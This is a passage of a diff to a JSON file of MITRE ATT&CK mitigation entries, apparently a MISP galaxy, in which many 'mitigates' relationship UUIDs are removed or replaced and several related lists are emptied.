"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "1f9c2bae-b441-4f66-a8af-b65946ee72f2", "tags": [ @@ -6215,7 +4709,7 @@ "type": "mitigates" }, { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6229,7 +4723,7 @@ "type": "mitigates" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6261,15 +4755,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8", "value": "Accessibility Features Mitigation - T1015" }, @@ -6293,15 +4779,7 @@ "https://attack.mitre.org/mitigations/T1501" ] }, - "related": [ - { - "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "83130e62-bca6-4a81-bd4b-8e233bd49db6", "value": "Systemd Service Mitigation - T1501" }, @@ -6315,15 +4793,7 @@ "https://www.acunetix.com/websitesecurity/webserver-security/" ] }, - "related": [ - { - "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5", "value": "Shared Webroot Mitigation - T1051" }, @@ -6335,22 +4805,7 @@ "https://attack.mitre.org/mitigations/T1160" ] }, - "related": [ - { - "dest-uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7", "value": "Launch Daemon Mitigation - T1160" }, @@ -6367,22 +4822,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d", "value": "File Deletion Mitigation - T1107" }, @@ -6423,20 +4863,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ @@ -6458,13 +4884,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "1f9c2bae-b441-4f66-a8af-b65946ee72f2", "tags": [ @@ -6500,13 +4919,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", "tags": [ @@ -6528,13 +4940,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", "tags": [ @@ -6563,13 +4968,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ @@ -6584,13 +4982,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", "tags": [ @@ -6598,13 +4989,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ @@ -6612,13 +4996,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47", "tags": [ @@ -6675,13 +5052,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ @@ -6696,13 +5066,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", "tags": [ @@ -6760,7 +5123,7 @@ "type": "mitigates" }, { - "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", + "dest-uuid": "7c46b364-8496-4234-8a56-f7e6727e21e1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6822,13 +5185,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ @@ -6850,13 +5206,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", "tags": [ @@ -6879,14 +5228,14 @@ "type": "mitigates" }, { - "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6906,13 +5255,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ @@ -6948,27 +5290,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ @@ -7032,13 +5353,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", "tags": [ @@ -7081,20 +5395,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ @@ -7137,6 +5437,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436", "tags": [ @@ -7169,15 +5476,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e", "value": "Redundant Access Mitigation - T1108" }, @@ -7189,22 +5488,7 @@ "https://attack.mitre.org/mitigations/T1109" ] }, - "related": [ - { - "dest-uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "676975b9-7e8e-463d-a31e-4ed2ecbfed81", "value": "Component Firmware Mitigation - T1109" }, @@ -7217,22 +5501,7 @@ "https://attack.mitre.org/mitigations/T1019" ] }, - "related": [ - { - "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "25e53928-6f33-49b7-baee-8180578286f6", "value": "System Firmware Mitigation - T1019" }, @@ -7290,15 +5559,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b", "value": "Data Encrypted Mitigation - T1022" }, @@ -7316,15 +5577,7 @@ "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482" ] }, - "related": [ - { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612", "value": "Shortcut Modification Mitigation - T1023" }, @@ -7336,15 +5589,7 @@ "https://attack.mitre.org/mitigations/T1204" ] }, - "related": [ - { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "548bf7ad-e19c-4d74-84bf-84ac4e57f505", "value": "User Execution Mitigation - T1204" }, @@ -7392,13 +5637,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ @@ -7449,7 +5687,7 @@ "type": "mitigates" }, { - "dest-uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "dest-uuid": "90c4a591-d02d-490b-92aa-619d9701ac04", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7484,14 +5722,14 @@ "type": "mitigates" }, { - "dest-uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87", + "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7517,13 +5755,6 @@ ] }, "related": [ - { - "dest-uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ @@ -7552,13 +5783,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", "tags": [ @@ -7573,27 +5797,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ @@ -7628,13 +5831,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ @@ -7642,13 +5838,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b8cfed42-6a8a-4989-ad72-541af74475ec", "tags": [ @@ -7689,15 +5878,7 @@ "https://attack.mitre.org/mitigations/T1205" ] }, - "related": [ - { - "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "f6b7c116-0821-4eb7-9b24-62bd09b3e575", "value": "Port Knocking Mitigation - T1205" }, @@ -7724,13 +5905,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "06c00069-771a-4d57-8ef5-d3718c1a8771", "tags": [ @@ -7752,13 +5926,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "1126cab1-c700-412f-a510-61f4937bb096", "tags": [ @@ -7815,13 +5982,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2169ba87-1146-4fc7-a118-12b72251db7e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "24769ab5-14bd-4f4e-a752-cfb185da53ee", "tags": [ @@ -7850,13 +6010,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "tags": [ @@ -7871,13 +6024,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", "tags": [ @@ -7991,14 +6137,14 @@ "type": "mitigates" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "54ca26f3-c172-4231-93e5-ccebcac2161f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "54ca26f3-c172-4231-93e5-ccebcac2161f", + "dest-uuid": "55bb4471-ff1f-43b4-88c1-c9384ec47abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8060,13 +6206,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ @@ -8088,13 +6227,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6be14413-578e-46c1-8304-310762b3ecd5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ @@ -8116,13 +6248,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", "tags": [ @@ -8151,13 +6276,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "818302b2-d640-477b-bf88-873120ce85c4", "tags": [ @@ -8172,6 +6290,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "8861073d-d1b8-4941-82ce-dce621d398f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "tags": [ @@ -8221,13 +6346,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", "tags": [ @@ -8249,13 +6367,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a542bac9-7bc1-4da7-9a09-96f69e23cc21", "tags": [ @@ -8284,13 +6395,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001", "tags": [ @@ -8305,34 +6409,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "tags": [ @@ -8340,13 +6416,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", "tags": [ @@ -8396,6 +6465,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "d94b3ae9-8059-4989-8e9f-ea0f601f80a7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", "tags": [ @@ -8438,13 +6514,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ea016b56-ae0e-47fe-967a-cc0ad51af67f", "tags": [ @@ -8508,20 +6577,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", "tags": [ @@ -8570,13 +6625,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" - }, - { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" } ], "uuid": "9bb9e696-bff8-4ae1-9454-961fc7d91d5f", @@ -8591,15 +6639,7 @@ "https://attack.mitre.org/mitigations/T1026" ] }, - "related": [ - { - "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "da987565-27b6-4b31-bbcd-74b909847116", "value": "Multiband Communication Mitigation - T1026" }, @@ -8611,15 +6651,7 @@ "https://attack.mitre.org/mitigations/T1206" ] }, - "related": [ - { - "dest-uuid": "2169ba87-1146-4fc7-a118-12b72251db7e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "dbf0186e-722d-4a0a-af6a-b3460f162f84", "value": "Sudo Caching Mitigation - T1206" }, @@ -8639,13 +6671,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "086952c4-5b90-4185-b573-02bad8e11953", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ @@ -8681,13 +6706,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2169ba87-1146-4fc7-a118-12b72251db7e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ @@ -8744,20 +6762,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87", "tags": [ @@ -8857,7 +6861,7 @@ "type": "mitigates" }, { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "dest-uuid": "90c4a591-d02d-490b-92aa-619d9701ac04", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8877,20 +6881,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b8c5c9dd-a662-479d-9428-ae745872537c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", "tags": [ @@ -8905,20 +6895,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", "tags": [ @@ -8974,13 +6950,6 @@ ] }, "related": [ - { - "dest-uuid": "0bf78622-e8d2-41da-a857-731472d61a92", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", "tags": [ @@ -9074,15 +7043,7 @@ "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" ] }, - "related": [ - { - "dest-uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "a1482e43-f3ff-4fbd-94de-ad1244738166", "value": "Time Providers Mitigation - T1209" }, @@ -9095,15 +7056,7 @@ "https://attack.mitre.org/mitigations/T1029" ] }, - "related": [ - { - "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824", "value": "Scheduled Transfer Mitigation - T1029" }, @@ -9123,13 +7076,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ @@ -9199,13 +7145,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ae7f3575-0a5e-427e-991b-fe03ad44c754", "tags": [ @@ -9301,15 +7240,7 @@ "https://skanthak.homepage.t-online.de/sentinel.html" ] }, - "related": [ - { - "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "e0703d4f-3972-424a-8277-84004817e024", "value": "Path Interception Mitigation - T1034" }, @@ -9326,15 +7257,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64", "value": "Service Execution Mitigation - T1035" }, @@ -9354,15 +7277,7 @@ "https://technet.microsoft.com/library/jj852168.aspx" ] }, - "related": [ - { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": 